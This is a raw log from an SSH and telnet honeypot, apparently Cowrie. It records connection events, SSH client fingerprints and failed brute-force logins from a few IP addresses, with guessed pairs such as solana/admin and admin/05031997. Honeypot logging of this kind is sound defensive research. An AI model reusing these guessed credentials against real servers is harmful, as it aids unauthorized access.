{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:58:59.269226Z","src_ip":"2.57.122.96","session":"b9d72cea1206","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"administrator","message":"login attempt [solana/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:58:59.568791Z","src_ip":"2.57.122.96","session":"b9d72cea1206","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:59:00.671191Z","src_ip":"2.57.122.96","session":"b9d72cea1206","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":43350,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5e544fb9adc","protocol":"ssh","message":"New connection: 2.57.122.96:43350 (159.203.135.109:22) [session: f5e544fb9adc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:59:15.366570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:59:15.404355Z","src_ip":"2.57.122.96","session":"f5e544fb9adc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:59:15.493185Z","src_ip":"2.57.122.96","session":"f5e544fb9adc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"administrator","message":"login attempt [solana/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:59:15.907998Z","src_ip":"2.57.122.96","session":"f5e544fb9adc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T00:59:17.015850Z","src_ip":"2.57.122.96","session":"f5e544fb9adc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":45026,"dst_ip":"10.17.0.5","dst_port":22,"session":"1570229fd796","protocol":"ssh","message":"New connection: 2.57.122.96:45026 (10.17.0.5:22) [session: 1570229fd796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:01:52.263419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:01:52.302694Z","src_ip":"2.57.122.96","session":"1570229fd796","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:01:52.386757Z","src_ip":"2.57.122.96","session":"1570229fd796","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"admin","message":"login attempt [solana/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:01:52.820254Z","src_ip":"2.57.122.96","session":"1570229fd796","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:01:53.943863Z","src_ip":"2.57.122.96","session":"1570229fd796","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":11099,"dst_ip":"10.17.0.5","dst_port":22,"session":"49491080a620","protocol":"ssh","message":"New connection: 2.57.121.112:11099 (10.17.0.5:22) [session: 49491080a620]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:02:04.167882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:02:04.175966Z","src_ip":"2.57.121.112","session":"49491080a620","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:02:04.281510Z","src_ip":"2.57.121.112","session":"49491080a620","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"05031997","message":"login attempt [admin/05031997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:02:04.778367Z","src_ip":"2.57.121.112","session":"49491080a620","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"05021973","message":"login attempt [admin/05021973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:02:05.886538Z","src_ip":"2.57.121.112","session":"49491080a620","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"050186","message":"login attempt [admin/050186] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:02:06.995569Z","src_ip":"2.57.121.112","session":"49491080a620","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":41598,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8154cea2c30","protocol":"ssh","message":"New connection: 2.57.122.96:41598 (159.203.135.109:22) [session: c8154cea2c30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:02:07.686250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:02:07.689201Z","src_ip":"2.57.122.96","session":"c8154cea2c30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:02:07.792569Z","src_ip":"2.57.122.96","session":"c8154cea2c30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"admin","message":"login attempt [solana/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:02:08.103401Z","src_ip":"2.57.122.96","session":"c8154cea2c30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"041280","message":"login attempt [admin/041280] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:02:08.108057Z","src_ip":"2.57.121.112","session":"49491080a620","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:02:09.208983Z","src_ip":"2.57.122.96","session":"c8154cea2c30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"041178","message":"login attempt [admin/041178] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:02:09.216933Z","src_ip":"2.57.121.112","session":"49491080a620","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:02:10.324919Z","src_ip":"2.57.121.112","session":"49491080a620","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.157","src_port":31424,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0172371e713","protocol":"ssh","message":"New connection: 45.148.10.157:31424 (159.203.135.109:22) [session: d0172371e713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:02:42.761399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:02:42.764922Z","src_ip":"45.148.10.157","session":"d0172371e713","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:02:42.839410Z","src_ip":"45.148.10.157","session":"d0172371e713","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:02:43.170736Z","src_ip":"45.148.10.157","session":"d0172371e713","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":49812,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6a5e8462f7b","protocol":"ssh","message":"New connection: 2.57.122.96:49812 (10.17.0.5:22) [session: e6a5e8462f7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:04:50.361918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:04:50.364823Z","src_ip":"2.57.122.96","session":"e6a5e8462f7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:04:50.475578Z","src_ip":"2.57.122.96","session":"e6a5e8462f7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"admin123","message":"login attempt [sol/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:04:50.773361Z","src_ip":"2.57.122.96","session":"e6a5e8462f7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:04:51.875650Z","src_ip":"2.57.122.96","session":"e6a5e8462f7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":54418,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf8262101d50","protocol":"ssh","message":"New connection: 2.57.122.96:54418 (159.203.135.109:22) [session: bf8262101d50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:05:06.100652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:05:06.159595Z","src_ip":"2.57.122.96","session":"bf8262101d50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:05:06.224686Z","src_ip":"2.57.122.96","session":"bf8262101d50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"admin123","message":"login attempt [sol/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:05:06.699894Z","src_ip":"2.57.122.96","session":"bf8262101d50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:05:07.802975Z","src_ip":"2.57.122.96","session":"bf8262101d50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.214","src_port":49268,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8314f032e4b","protocol":"telnet","message":"New connection: 176.65.148.214:49268 (159.203.135.109:23) [session: e8314f032e4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:07:34.668937Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":39054,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbdcf0534301","protocol":"ssh","message":"New connection: 2.57.122.96:39054 (10.17.0.5:22) [session: fbdcf0534301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:07:38.338779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:07:38.343037Z","src_ip":"2.57.122.96","session":"fbdcf0534301","protocol":"ssh"}
